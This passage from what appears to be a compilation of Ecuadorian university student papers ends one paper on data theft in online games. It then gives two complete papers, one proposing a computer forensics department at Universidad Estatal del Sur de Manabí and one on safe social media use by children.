Se concluye, que los robos de información en los juegos online se han convertido en un negocio lucrativo del cual los usuarios o jugadores están propensos a cualquier ataque por parte de los hackers, por ello, se debe tomar en cuenta las debidas precauciones, no compartiendo datos personales e información confidencial, cabe recalcar, que los cibercriminales no solo atacan a

ordenadores sino también a móviles y consolas para acceder de una manera más rápida a todos cada uno de los datos de aquel jugador o usuario.

REFERENCIAS BIBLIOGRÁFICAS

González Herrero, A. (08 de Diciembre de 2009). ehu. Obtenido de ehu: <http://www.ehu.eus/ojs/index.php/Zer/article/view/2352/1952>

Mendoza Roque, M. C. (30 de Enero de 2014). Revistas Bolivianas. Obtenido de Revistas Bolivianas: <http://www.revistasbolivianas.org.bo/pdf/rits/n8/n8a30.pdf>

Perez, J. (21 de Febrero de 2013). hijosdigitales. Obtenido de hijosdigitales: <https://www.hijosdigitales.es/es/2013/02/decalogo-de-seguridad-para-los-juegos-online/>

Portaltic/EP. (22 de Julio de 2017). Portaltic. Obtenido de Portalti: <https://www.europapress.es/portaltic/ciberseguridad/noticia-robos-datos-ataques-dispositivos-internet-cosas-grandes-ciberamenazas-contr-gamers-20170722113003.html>

BIOGRAFÍAS DE AUTORES

Hugo Sebastián Franco Holguín, Estudiante de la carrera de ingeniería en sistemas computacionales de la Universidad Estatal del Sur de Manabí, Montecristi – Portoviejo – Manabí.

Jefferson David Aragundi Mero, Estudiante de la carrera de ingeniería en sistemas computacionales de la Universidad Estatal del Sur de Manabí, Crucita – Portoviejo - Manabí.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

CREACIÓN DE UN DEPARTAMENTO DE INFORMÁTICA FORENSE EN LA “UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ”

Erika Liliana Menéndez Quiroz,

Pedro Marcelo Quijije Flores,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

e.erika.me@gmail.com

RESUMEN

El presente trabajo de investigación hace énfasis a la elaboración de un departamento de informática forense en la Universidad Estatal del Sur de Manabí, todo esto se da gracias a la digitalización de la información, de tal manera que han surgido nuevas formas de ataque a los datos almacenados en las instalaciones, es por esto que, se realizó la investigación de los aspectos más importantes como: informática forense, principios, metodología, evidencia digital, cadena de custodia, para detallar porque es importante contar con un laboratorio de informática forense. Esta investigación tiene como objetivo analizar la factibilidad de la creación de un departamento de informática forense en la Universidad Estatal del Sur de Manabí, en cuanto al desarrollo de esta investigación se abordaron métodos teóricos tales como: análisis- síntesis. Definiendo así, que la informática forense existe gracias a fenómenos electromagnéticos, por esta razón la información se puede almacenar, leer e incluso recuperar cuando se creía eliminada. Además, es notorio que cuando se realiza un crimen, muchas veces la información queda almacenada en forma digital. Sin embargo, existe un gran problema, debido a que los computadores guardan la información de forma que no puede ser recolectada o usada como prueba.

PALABRAS CLAVE: custodia, evidencia digital, forense, informática, metodología.

ABSTRACT

This research work emphasizes the development of a computer forensics department at the Southern State University of Manabí, all this is thanks to the digitization of information, so that new forms of data attack have emerged stored in the facilities, this is why the investigation of the most important aspects such as: computer forensics, principles, methodology, digital evidence, chain of custody, to detail why it is important to have a computer forensic laboratory.

The objective of this research is to analyze the feasibility of creating a forensic computer department at the Southern State University of Manabí. As regards the development of this research, theoretical methods such as analysis-synthesis, induction-deduction were addressed. In this way, I argue that forensic computing exists thanks to electromagnetic phenomena, for this reason the information can be stored, read and even recovered when it was thought to be eliminated. In addition, it is notorious that when a crime is committed, information is often stored in digital form. However, there is a big problem, because computers store information in a way that cannot be collected or used as evidence.

KEYWORDS: custody, digital evidence, forensic, informatics, methodology.

1. INTRODUCCIÓN

Las evidencias obtenidas de las computadoras de escritorio se permitieron como parte de un juicio desde la década de los años 70, aunque las computadoras en un principio solo fueron consideradas como aparatos electrónicos que solo servían para guardar información y llevar una prueba tangible, estas impresiones, eran consideradas como afirmaciones contables que eran ratificadas como los expedientes del negocio, los datos que se almacenaban en la computadora no eran considerados como información valida (Arquillo Cruz, 2007).

Según lo dicho por Arquillo Cruz,2007 dice que a las computadoras en la antigüedad se las consideraba como una fuente poco confiable de información ya que se tenía la creencia errónea de que la información que se guardaba en las mismas o que se compartía en las redes solo servía si se tenía en físico, pero poco a poco la situación fue cambiando hasta que se llegó a un punto en que toda la información que se tiene en la actualidad se encuentra contenida tanto en computadoras como en la nube, es sumamente indispensable que esta información no caiga en las manos de los llamados hackers, los cuales buscan vulnerar cualquier puerta de acceso para obtener o modificar nuestros datos.

Se conoce que la informática forense es una ciencia relativamente nueva que nació debido a la intromisión de personas indeseadas o crackers en las redes privadas para plagiar o alterar cualquier tipo de información, con lo cual se desencadenó una ola de crímenes nuevos que los policías comunes no podían resolver, en vista de esto se creó una nueva ciencia con el objetivo de descubrir a las criminales que irrumpían en la información que se tenía contenida en las computadoras. Se creía que la informática forense solo llegaría a descubrir al culpable de los hechos, pero muchas veces llega más allá al encargarse de la parte legal.

La Universidad Estatal del Sur de Manabí se encuentra ubicada en el km 11/2 vía Noboa s/n campus los ángeles - Jipijapa- Ecuador, fue creada bajo el Registro Oficial No.261 de 7 de

febrero de 2001, sin fines de lucro orientada al ofertamiento de carreras universitarias enfocadas en la docencia, investigación y vinculación con la sociedad para poder trasgredir la barrera al contexto nacional. (Manabi, 2018)

2. DESARROLLO

Informática Forense

“La informática forense dio sus primeros inicios en la década de 1980 con el auge de las primeras computadoras de escritorio, en 1984 el FBI (Buro Federal de Investigaciones) creo el programa de medios magnéticos, junto con el llamado padre de la informática forense Michael Anderson que perteneció a la división de investigación criminal, vio la posibilidad de una nueva utilización de estas nuevas herramientas. En 1990 se separa del FBI para formar su propia compañía llamada New Technologies, Inc, a partir de ahí la informática forense fue creciendo, al nivel de crear la IOCE (Organización Internacional de Evidencia Informática) por sus siglas en inglés, a partir de 1997 la INTERPOL (Organización Internacional de Policía) declaro que todos los policías deben saber sobre computadoras y redes, en 1998 y en 1999 se organizó el primer simposio (Sepulveda, 2013)”.

“La informática forense es una rama de la ciencia forense, que se encarga del análisis de un hecho ocurrido que infrinja la seguridad de algún sistema informático, equipo de TIC(Tecnología de la Información y Comunicación), base de datos o la información en sí, mediante una serie de métodos y pasos que permitieron ayudar a esclarecer una investigación de algún delito informático para de esa forma determinar responsabilidades y a su vez estos sean juzgados en función de sus actos cometidos mediante un Corte de justicia. La informática forense es la ciencia adecuada para localizar y presentar de una manera formal la evidencia de un delito cometido dentro del mundo físico y digital de la informática, comprometiendo directamente a los culpables de dicho delito para que estos paguen los daños y perjuicios causados con su accionar con la severidad del caso (e-gov, 2009)”.

Mediante la informática forense lo que se busca es tener jurisdicción legal sobre los delitos cometidos al violentar ya sean redes informáticas o los archivos almacenados en las computadoras personales, al seguir pistas o formar perfiles de los posibles sospechosos para que así puedan ser juzgados como se merecen a los hechores del delito para así aplicar las leyes.

“Las personas que trabajan o aplican la ciencia de la informática forense poseen grades conocimiento en informática, TIC o bases de datos, debido a que sus procedimientos,

metodologías y pasos, analiza cada fragmento del software, hardware o base de datos que han sido objetos de un delito, con el fin de recolectar la mayor cantidad de información que sea útil, en otras palabras las personas que realizan estas partitas, depuran la información que se puede obtener de un sistema, que es objeto de un delito informático y de todas las partes afectadas para de esa manera al fin combinar toda la información recolectada y tener un punto de vista mucho más claro de como ocurrió el delito informático en general y de ser el caso determinar responsabilidades, estas personas son también conocidos como “investigadores digitales” (Arquillo Cruz, 2007)”.

Ellos se dedican a analizar todo tipo de delito informático en base a los indicios que pueda dejar el hacker al haber realizado la intromisión, estos suelen dejar firmas escondidas en las encriptaciones que ellos utilizan para realizar un ataque.

En ocasiones suele suceder que a los peritos informáticos no se les acepta todas las pruebas de descargo debido a que aun cierto sector los sigue considerando como poco confiables, aunque se haya demostrado lo contrario.

La preparación los “investigadores digitales” debe de ser constante en función de las nuevas tecnologías ya que estos en grandes partes suelen estar al frente de la seguridad de un sistema o redes de alguna área en específico y tanta como menciona Santiago Acuario del Pino.

Cuando se está a cargo de la administración de la seguridad de un sistema informático o una red, se debe conocer y entender lo que es informática forense, esto en razón de que cuando ocurre un incidente de inseguridad, es necesario que dicho incidente sea reportado y documentado a fin de saber qué es lo que ocurrió. (e-gov, 2009).

Se determinó que los “investigadores digitales” están en constante capacitación debido a que cada día la tecnología avanza a pasos agigantados, se implementa nuevos procedimientos para el tratamiento de los datos, pero de igual forma los llamados “HACKER” estudian estos procesos en función de las nuevas tecnologías para encontrar un punto débil dentro del sistema y por medio de esta poder manipular la información que estos sistemas tratan, ya que es imposible mitigar estos ataques al cien por ciento (100%), una de las principales acciones a tomar después de un ataque, independientemente si este tiene éxito o no, es aplicación informática forense y obtener la mayor información posible del ataque de esta manera dar con responsable y objetivo del ataque suscitado. (e-gov, 2009)

Principios de la Informática Forense

Según lo publicado en la revista de criminología y ciencias forenses cita en su trabajo a A. Doménech y A. Cebrián nos dice que, una vez estudiado el informe, el G8 aprobó un conjunto de principios básicos para luego dictar una serie de recomendaciones aplicables a las evidencias digitales: (Rodríguez & Doménch, 2011)

Todos los principios generales de procedimientos y técnicas forenses deben ser aplicados cuando se manipulen pruebas digitales. Cualquier institución con atribuciones en la búsqueda, recolección, y análisis de pruebas debe tener una metodología o unos principios generales definidos con el objetivo de proteger los intereses de todas las partes. Dichos principios han de tener en cuenta las peculiaridades de cada ordenamiento jurídico. En la manipulación de pruebas digitales, las acciones que se lleven a cabo no deben alterar dicha prueba. No se realizará ninguna acción, durante la búsqueda, recolección, o manipulación de las pruebas digitales, que conlleve una alteración de la misma. En caso de que se tenga que actuar de tal forma que se altere la prueba, las acciones deberán ser completamente documentadas. (Rodríguez & Doménch, 2011)

Cuando sea necesario que una persona tenga acceso a una prueba digital original, dicha persona debe estar formada para ese propósito. Aunque es ampliamente aceptado que la mejor práctica es realizar una imagen digital de la prueba a analizar, y actuar sobre la copia, puede haber ocasiones, en el curso de una actuación, en que se tenga que acceder a la prueba digital original. Dicha acción, además de seguir el principio anterior, debe realizarse por una persona que esté formada en dicho aspecto. (Rodríguez & Doménch, 2011)

Toda actividad relativa a la recogida, acceso, almacenamiento, o transferencia de pruebas digitales debe ser completamente documentada, conservada y disponible para su estudio. Todas las manipulaciones que se lleven a cabo deben ser documentadas de forma total y comprensible, de manera que las acciones que se están registrando puedan ser reproducidas si fuera necesario. Es vital mantener la cadena de custodia. (Rodríguez & Doménch, 2011)

Cada persona es responsable de todas las acciones tomadas con respecto a la prueba digital mientras dicha prueba esté a su cargo. Dicha responsabilidad es personal y no corporativa. (Rodríguez & Doménch, 2011)

Cualquier institución o grupo, que sea responsable de la recogida, acceso, almacenamiento, o transferencia de una prueba digital, es responsable de cumplir y hacer cumplir estos principios. Las instituciones con atribuciones en la recogida y manipulación de pruebas digitales velarán por que estos principios se lleven a cabo, siendo un marco de referencia y trasladándose éstos

a los procedimientos de actuación que se desarrollen en dichas instituciones. Todas las técnicas utilizadas para la recogida y análisis de evidencias digitales deben estar respaldadas por una buena metodología científica y documentadas en un protocolo de actuación, que recoja tanto los aspectos técnicos de la informática como los aspectos legales que se derivan de su peculiaridad forense. (Rodríguez & Doménch, 2011)

Para asegurar que las pruebas digitales son recogidas, preservadas, examinadas o transferidas de manera que se salvaguarde su integridad, fiabilidad, y precisión, todas las instituciones forenses, cuya función esté relacionada con dichas pruebas digitales, deberán establecer y mantener un sistema de calidad efectivo, sin olvidar tampoco la formación del personal. (Rodríguez & Doménch, 2011)

Según la información obtenida en la cita nos podemos dar cuenta que es indispensable seguir cada uno de estos principios, cuando sea necesario su utilización, para así no comprometer la recolección y análisis de evidencia, para que nos permita mantener la veracidad de los datos y poder respáldanos con una buena documentación, todas las instalaciones que están relacionadas con la informática forense deben tener en cuenta su relación con las pruebas digitales obtenidas, al mantener un sistema de calidad efectivo y mantener capacitado a su personal. (Rodríguez & Doménch, 2011)

Evidencia digital

La diferencia entre una copia de papel y evidencia digital es frágil ya que se le pueden ralezar copias no autorizadas a la misma sin que nadie se pueda dar cuenta del hecho, debe tenerse en cuenta que como se tratante el documento; la evidencia debe mantener su integridad y veracidad es decir, no se debe modificar las copias que se encuentren en el disco, por esto los investigadores deben revisar que la información concuerde con la que se encuentra en el disco del sospechoso, y que generalmente después de haber cometido el delito los sospechosos del crimen por lo general tienden a querer eliminar la información que los involucre en el delito, sin embargo esto no es del todo oculto, ya que aunque el sospechoso no se da cuenta la evidencia digital tiene ciertas características, tal como que se puede hacer una copia exactamente igual a la original sin que se de cuenta y esta puede ser examinada por los investigadores. (ecured, 2018)

Se habla de evidencia digital al momento de obtener un resultado de una investigación realizada por un especialista de informática forense, Dicha investigación entra en ejecución cuando se ha producido un hecho o delito informático, la misma que se aplica a todas las partes tecnológicas

o digitales involucradas en dicho hecho, el conlleva a una metodología llena de procesos y paso que se aplican muy rigurosamente ya que cualquier índice anormal dentro de los proceso es un datos primordial para terminar las razones de Quien, Porque, Como y Cuando, se produjo el accidente informático, la investigación guarda una muy pequeña relación con los que minería de datos, debido a que un “investigador digital” realiza una serio de pasa para obtener y analizar hasta el último dato que se pueda, de esta manera se va recolectado todos los datos anormales para al finalizar la investigación combinarlos y obtener un resultado mucho más preciso. (e-gov, 2009)

3. MATERIALES Y MÉTODOS

Este trabajo de investigación se realizó a partir de los métodos teóricos tales como: análisis – síntesis, que conllevo a la aplicación del método inducción-deducción, obteniendo así, una visión general sobre la informática forense, en igual medida se aplicó la técnica descriptiva para resaltar la principales características y funcionalidades a la hora de aplicar la informática forense.

4. RESULTADOS Y DISCUSIÓN

Según la información recopilada y analizada, se determinó que por los proceso e información que manipula la institución, no solo físicamente y también de manera digital, esta abra actualmente un setenta por ciento (70%) y continúan creciendo, es viable la creación de un departamento de informática forense, pues como se vio ningún sistemas o banco de datos es cesante ante un ataque por parte de un “HACKER”.

Descuerdo con la información obtenida la siguiente tabla demuestra el porcentaje de información digital que la institución registra, almacena y manipula en función de los procesos internos de la misma.

GRÁFICO 1

Análisis: De acuerdo con el anterior gráfico si la institución sufriera un ataque al banco de datos y/o procesos tendría como consecuencia el retraso y perdía o fuga de información, y sin ningún índice del responsable del ataque, ni un objetivo claro de mismo.

5. CONCLUSIONES

Se concluye que la creación de un departamento de informática forense es necesaria porque nunca se sabe cuándo podrá surgir un ataque que neutralice las redes informáticas de la institución, y mediante la ayuda que brindará este departamento se pueden crear perfiles, analizar el modus operandi que tiene estos hackers y poder así tipificar los delitos que se estuvieran o no cometiendo dentro de la Universidad Estatal del Sur de Manabí.

REFERENCIAS BIBLIOGRÁFICAS

Arquillo Cruz, j. (2007). HERRAMIENTA DE APOYO PARA EL ANALISIS FORENSE DE COMPUTADORAS . JAEN: openlibra.

ecured. (22 de junio de 2018). ecured. Obtenido de ecured:
www.ecured.cu/Informática_Forense

e-gov. (08 de diciembre de 2009). Obtenido de e-gov: /www.egov.ufsc.br. O

Manabi, U. E. (24 de febrero de 2018). unesum. Obtenido de unesum: <http://unesum.edu.ec/>

RODRÍGUEZ, F., & DOMÉNECH, A. (2011). la informatica forense el rostro digital del crimen. Quadernos de Criminología, 17-18.

Sepulveda, J. (11 de noviembre de 2013). INFORMÁTICA FORENSE. Obtenido de INFORMÁTICA FORENSE:
<http://informaticaforense1.blogspot.com/2013/11/historia-informatica-forense.html?view=magazine>

BIOGRAFÍAS DE AUTORES

Erika Liliana Menéndez Quiroz, Título de segundo nivel en informática, actualmente estudiante de la Universidad Estala del Sur de Manabí de noveno semestre de la carrera de ingeniería en sistemas computacionales de la facultad de ciencias técnicas.

Pedro Marcelo Quijije Flores, Título de segundo nivel en Químico biólogo, actualmente estudiante de la Universidad Estatal del Sur de Manabí de noveno semestre de la carrera de ingeniería en sistemas computacionales de la facultad de ciencias técnicas.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

USO CORRECTO DE LAS REDES SOCIALES

Jonathan Jair Salazar Merchán,

Heberth Joan Tejena Vélez,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

007kirito007@gmail.com

RESUMEN

Las redes sociales se han convertido en un fenómeno mundial en los últimos 5 años tanto así, que ha revolucionado nuestro concepto de relación social e inversión en el tiempo libre. En ellas buscamos mantenernos conectados con familiares, amigos, conocer nuevas personas, jugar e incluso ganar dinero. Sin embargo, las redes sociales despiertan un debate en torno a la privacidad y al uso de la información personal que proporcionamos, para dar a conocer todas y cada uno de estos problemas en la sociedad, se tiene como objetivo primordial interactuar con las demás personas y concientizar a la localidad en general, en especial a la población infantil sobre los peligros que conlleva el uso incorrecto de estas plataformas, en cuanto al desarrollo de esta investigación se utilizaron métodos teóricos tales como: análisis- síntesis y métodos empíricos como lo son: los métodos bibliográficos y referenciales, por consiguiente, el análisis de cada una de las definiciones expuestas por parte de personas que hicieron mal uso de las redes sociales queda vigente que tanto niños(as), adolescentes y adultos pueden estar expuesto a sufrir cualquier inconveniente grave a lo largo de su vida y entorno social. Definiendo así que todas y cada una de las personas que utilicen las redes sociales de manera incorrecta están en constante peligros informáticos que afectarán a su entorno, considerando así, que estas son poderosas herramientas de comunicación e interacción.

PALABRAS CLAVE: niños; prevención; redes sociales; riesgo; seguridad.

ABSTRACT

Social networks have become a global phenomenon in the last 5 years so much that it has revolutionized our concept of social relationship and investment in free time. In them we seek to stay connected with family, friends, meet new people, play and even earn money. However, social networks arouse a debate about privacy and the use of personal information we provide, to publicize each and every one of these problems in society, has as its primary objective to

interact with other people and raise awareness to the locality in general, especially to the children population on the dangers that the incorrect use of these platforms entails, in terms of the development of this research, theoretical methods were used such as: analysis-synthesis and empirical methods such as: methods bibliographical and reference, therefore, the analysis of each of the definitions exposed by people who made bad use of social networks is valid that both children (as), adolescents and adults can be exposed to suffer any serious inconvenience as throughout his life and social environment. Defining so that each and every one of the people who use social networks incorrectly are in constant computer hazards that will affect their environment, considering that these are powerful communication and interaction tools.

KEYWORDS: children; prevention; social networks; risk; security.

1. INTRODUCCIÓN

Las redes sociales hoy en día son el método de comunicación e interacción más rápido que puede existir, pero no por ello significa que son seguros o fiables, ya que existen personas mal intencionadas que hacen uso de estas ya sea para difamar a personas o entidades, así como también las usan para difundir falsa información y crear confusión entre las personas.

En la actualidad las redes sociales se han visto en vuelta en muchas polémicas, porque su seguridad contra los hackers no es muy buena, esto facilita el robo de información personal, que se puede usar para extorsionar al usuario, lo cual es un delito grave pero no todos los países tienen leyes para hacer frente a este problema.

El presente trabajo de investigación hace énfasis al uso de las redes sociales y los peligros que se pueden presentar al darles un manejo inadecuado. Siendo estas las más utilizadas en todo el mundo, teniendo como objetivo primordial interactuar con las demás personas y concientizar a la localidad en general, en especial a la población infantil sobre los peligros que conlleva el uso incorrecto de estas plataformas.

Según, Andreas Kaplan y Michael Haenlein definen “Los medios sociales como “un grupo de aplicaciones para internet, desarrolladas sobre la base de los fundamentos ideológicos y tecnológicos de la web 2.0, permiten la creación y el intercambio de contenido generado por el usuario y junto con ello exponen que estos medios sociales pueden tener diferentes formatos como *blogs*, intercambio de fotos, video blogs, scrapbooks, correo electrónico, mensajes instantáneos, intercambio de canciones, *crowdsourcing*, voip, entre otros” (varios, 2013).

2. DESARROLLO

Las redes sociales

“El concepto de medios sociales (*social media*) precede a internet y a las herramientas tecnológicas, aunque el término no fuera popular en el pasado. Se trata de la producción de contenidos de manera descentralizada y sin el control editorial de los grandes grupos. Es decir: significa la producción de muchos para muchos” (varios, 2013)

Internet y las redes sociales se han convertido en el canal más efectivo a la hora de comunicarse y en la herramienta que permite una participación activa de los ciudadanos, en la actualidad son cada vez más los individuos que buscan a través de nuevos medios la solución a sus problemas, que crean nuevas formas de informarse en redes personales, que procuran un dialogo más directo y que consiguen canalizar diversos intereses. En la actualidad se están internalizando cada vez nuevas modalidades de comunicación y participación, con el fin de lograr mayor transparencia y eficiencia en el uso de la información, y las redes sociales nos ofrecen una gran oportunidad para hacer esto posible. Como se afirma en el libro manual de orientación para participar en redes sociales “estos nuevos canales de comunicación no sustituyen los anteriores, los complementan y surgen más oportunidades y posibilidades para trabajar junto a la gente” (varios, 2013) .

“A Latinoamérica le falta mucho terreno por llenar en lo que se refiere al consumo online a través de dispositivos móviles, a penas con un porcentaje de penetración del 5.6%; a diferencia de estados unidos (11.6%) y gran Bretaña (23.4%), según cifras de comscore” (autores, 2013). En la actualidad ya no somos solo usuarios digitales activos, ahora somos omnívoros digitales, debido a que consumimos inmensas cantidades de información a través de las redes sociales y otros medios, por ejemplo, en nuestros trabajos no solo tenemos contacto con el computador sino además con nuestros Smartphone, en donde analizamos información, subimos imágenes, damos like, compartimos contenido.

Incorrecto uso de las redes sociales

“Como ya sabemos las redes sociales son poderosas herramientas de comunicación e interacción, pero lamentablemente la juventud no hace un buen uso de estas, ya que solo la usan solo con amigos y juegos, muchos descuidan sus labores académicas y demás responsabilidades, incluso llegan a perder la comunicación y el compartir con su propia familia por estar “pegados” a cada cosa que ocurre en las redes.

¿Las redes sociales para los menores de edad?

“Recordemos que la convención sobre los derechos del niño (cdn, sancionada en 1989) garantiza a cada niño, niña y adolescente el derecho a opinar y ser escuchado (art. 12), la libertad de expresión, incluida la libertad de buscar, recibir y difundir información (art.13), la libertad de asociación y asamblea y el derecho a la información (artículo 17), entre otros. Aunque esta convención fue redactada antes de que internet se convirtiera en una herramienta omnipresente, es muy pertinente cuando se trata de que los jóvenes accedan, publiquen y compartan contenidos en línea. Con el rápido desarrollo de los tics en la última década, estos derechos están más vigentes que nunca.” (universidad libre) como bien se nombra en este parrafo que los niños tienen derecho de buscar, recibir y difundir información en una red social, dicho contenido debe ser de acorde a su edad ya que en las redes circula todo tipo de información y mucha de ella no es adecuada para los niños, pues puede afectar su percepción de las cosas y no de buena manera.

Riesgo de las redes sociales en los niños

“El problema del uso de las redes sociales en los menores al momento de utilizar las redes sociales, se encuentra el cyberbullying, una nueva tendencia de intimidación y acoso escolar, donde los niños no tienen escapatoria pues en internet no hay refugio ni tiempo muerto. Los niños pueden ser tanto víctimas, como cómplices o testigos, de maltrato psicológico a través de las redes. Uno de los casos más peligrosos resultantes del mal uso de las redes sociales es el grooming, el cual se da cuando adultos se hacen pasar por jóvenes utilizando cuentas falsas, las cuales usan para seducir a menores de edad y construir una relación dependiente lo cual lleva a que en algún momento los menores acepten encontrarse con estas personas, en donde aprovechan para raptarlos y hacerles daño tanto físico como verbal. Las cuentas como Instagram o twitter son las que más información facilitan a los acosadores, sobre sus posibles víctimas.

¿Cómo proteger a los niños de las redes sociales?

“Tanto internet como las redes sociales pueden ser una maravillosa herramienta para la realización de los derechos de los jóvenes. Como padres es una oportunidad y un desafío acompañarlos en este camino de aprendizaje. Conversar con ellos sobre el uso responsable de la web es el punto de partida para eso.

Si bien las redes sociales en sus términos de usos establecen que no deben de ser utilizadas por menores de 13 años, esto por lo general no se cumple. Lo que se debe hacer es que los familiares de los niños, especialmente sus padres monitoreen de cerca al menor y le deben enseñar a

configurar sus cuentas para que ningún desconocido pueda ver lo que publican, explicándole lo que puede suceder si esto no se hace. También es necesario que prohíban a los niños hacer amistad y entablar una conversación o una relación con un desconocido, hay que hablarle muy claro sobre los peligros que pueden tener” (el pilon, 2016) como padres es nuestro deber estar pendiente de que es lo que nuestro hijos aprenden en la redes sociales, para así evitar que caigan en malas conductas y malos hábitos .

“Hable con sus hijos sobre sus experiencias.

Debe incentivar a sus hijos a que les cuenten si algo que encuentran en uno de estos sitios los hace sentir preocupados, incómodos o amenazados. Mantenga la calma y explíqueles que no se meterán en ningún tipo de problemas por contarles si pasa algo”. Dejar en claro a nuestros hijos que si en algún momento se encuentran con algo que no le gusta en las redes sociales nos avise para así poder actuar de manera correcta frente a la situación que se presente.

“Establezca sus propias reglas sobre internet en su hogar. Cuando sus hijos comiencen a usar internet solos, es muy aconsejable realizar una lista de las reglas para el uso de internet con la que todos estén de acuerdo. En esas reglas que se van a establecer deben estar incluido si sus hijos pueden usar sitios de redes sociales y cómo deben usarlos. Para obtener más información sobre cómo establecer reglas, consulte uso de contratos familiares para proteger a los niños cuando están en línea.” En esta parte especificamos, limitamos o denegamos acceso a cierto tiempo de contenido que se encuentra en internet que no es apropiado para nuestros hijos.

“Asegúrese que sus hijos respeten los límites de edad del sitio que visitan.

Por lo general, la edad recomendada para poder unirse a una red social es 13 años o más. Si sus hijos aun no tienen la edad recomendada para utilizar estos sitios, no los deje usarlos. Es extremadamente importante que recuerde que no se puede confiar en que los servicios de internet evitarán que su hijo se una a la red porque no cuenta con la edad recomendada.” Esta regla va de la mano con la anterior ya que cuando un sitio web o red social solicita cierto tipo de edad es porque el contenido no es apto para menores, debemos hacer que nuestros hijos cumplan con esto, ya que el contenido los puede afectar.

“Asegúrese de que su hijo no use su nombre completo. Dígales a sus hijos que usen solamente sus primeros nombres o un alias que no atraiga atención inadecuada. Asimismo, no debe permitir que sus hijos publiquen los nombres completos de sus amigos.” Cuando uno usa

su nombre completo en una red social, aunque parezca inofensivo esto ya es brindarles información a posibles atacantes.

“Tenga cuidado de que no haya otra información que identifique a su hijo en su perfil.

Muchos sitios web permiten que los niños se unan grupos públicos que incluyen a todos los alumnos de una escuela determinada. Tenga cuidado cuando sus hijos revelen esa u otra información que podría utilizarse para identificarlos, como los nombres de las mascotas del colegio, sus lugares de trabajo o el nombre de la ciudad en donde viven. El exceso de información puede dejar a sus hijos expuestos a la ciber acoso, a los depredadores en línea, al fraude en internet o a los robos de identidad. Para obtener más información, vaya a reconozca las estafas de suplantación de identidad y los correos electrónicos falsos.” Mientras más información haya en su perfil, será más fácil llamar la atención de los potenciales atacantes.

3. MATERIALES Y MÉTODOS

Materiales

- Laptop
- Internet
- Revistas
- Libros

Métodos: Durante el desarrollo de la investigación se empleó el método análisis-síntesis, para la revisión y recopilación inicial de información mediante la técnica de análisis documental, sobre las redes sociales, la forma en que es utilizada y las consecuencias que puede ocasionar al darle un mal uso.

Así mismo, se utilizó los métodos empíricos tales como: el método bibliográfico y referencial, que permitieron extraer información sobre artículos científicos, revistas científicas, libros y ponencias que abarcaban la misma problemática.

4. RESULTADOS Y DISCUSIÓN

En base a las pruebas y análisis de diferentes perfiles de las redes sociales respecto al manejo que los usuarios seleccionados les dan se alcanzaron los resultados previstos los cuales indicaban que las personas que divulgaban información de más en sus perfiles o compartían fotos indebidas eran más propensas a sufrir acoso ya sea sexual o el conocido cyberbullying, de esta manera se espera disminuir el número de casos, así como también aportar a futuras investigaciones.

5. CONCLUSIONES

Se concluye, que las redes sociales pueden ser peligrosas si no las usamos de la manera correcta, ya que a veces sin darnos cuenta ofrecemos información que podría ser usada por terceros para sus propios fines, los cuales nos perjudicaran. Las redes sociales hoy en día aparte de ser un medio de comunicación también se han convertido en un medio para el acoso , ya sea para niños pequeños, jóvenes e incluso adultos ya que para los acosadores es fácil, robar información si no se las usa de manera correcta lo cual permite que se estos actúen sin peligro a ser castigados por la ley ya que ellos nunca usan sus verdaderas identidades, mucho menos sus ubicaciones y aunque halla campañas de concienciación se siguen dando este tipo de casos.

REFERENCIAS BIBLIOGRÁFICAS

ANTONANZAS, T. (23 de diciembre de 2014). 10 CONSEJOS PARA UN CORRECTO USO DE LAS REDES SOCIALES. Recuperado el 14 de junio de 2018, de Educación en USA – Becas Deportivas y Académicas en Estados Unidos: <https://educacionenusa.com/2014/12/23/10-consejos-para-un-correcto-uso-de-las-redes-sociales/>

Autores, V. (2013). Comunidades digitales: Geeks y Gamers.

Dragonjar. (s.f.). Consejos para hacer correcto uso de las redes sociales. Recuperado el 14 de Junio de 2018, de Dragonjar: <https://www.dragonjar.org/consejos-para-hacer-correcto-uso-de-las-redes-sociales.xhtml>

El Herald. (08 de Septiembre de 2016). Recomendaciones para un buen uso de las redes sociales en los niños. Recuperado el 14 de Junio de 2018, de El Herald: <https://www.elheraldo.co/redes-sociales/recomendaciones-para-un-buen-uso-de-las-redes-sociales-en-los-ninos-283698>

El Pilon. (31 de 07 de 2016). ¿Cómo darle buen uso a las redes sociales? Recuperado el 14 de Junio de 2018, de El Pilon: <http://elpilon.com.co/darle-buen-uso-las-redes-sociales/>

Hogarmania. (2018). Seguridad. Recuperado el 14 de Junio de 2018, de Hogarmania: <https://www.hogarmania.com/hogar/seguridad/201101/buen-redes-sociales-7817.html>

MENDEZ, S. V. (Abril de 2012). <http://vivianaforero31.blogspot.com/>. Recuperado el 14 de Junio de 2018, de <http://vivianaforero31.blogspot.com/>: <http://vivianaforero31.blogspot.com/2012/04/redes-sociales.html>

MENDEZ, S. V. (Abril de 2012). IMPORTANCIA DEL BUEN USO DE LAS REDES SOCIALES. Recuperado el 14 de Junio de 2018, de Viviana Forero Blog: <http://vivianaforero31.blogspot.com/2012/04/redes-sociales.html>

Universidad Libre. (s.f.). ¿Cómo usar adecuadamente las redes sociales? Recuperado el 14 de Junio de 2018, de Universidad Libre: <http://www.unilibre.edu.co/bogota/ul/noticias/noticias-universitarias/1877-como-usar-adecuadamente-las-redes-sociales>

Varios, A. (2013). Manual de orientación para participar en redes sociales.

Villalobos-Bretón, S. (2012). Twitter para todos: Cómo ser increíble en Twitter, obtener más seguidores y usarlo como herramienta de marketing.

BIOGRAFÍAS DE AUTORES

